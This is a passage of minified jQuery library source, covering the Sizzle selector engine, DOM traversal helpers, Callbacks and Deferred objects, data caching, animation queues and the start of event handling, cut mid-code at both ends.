t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 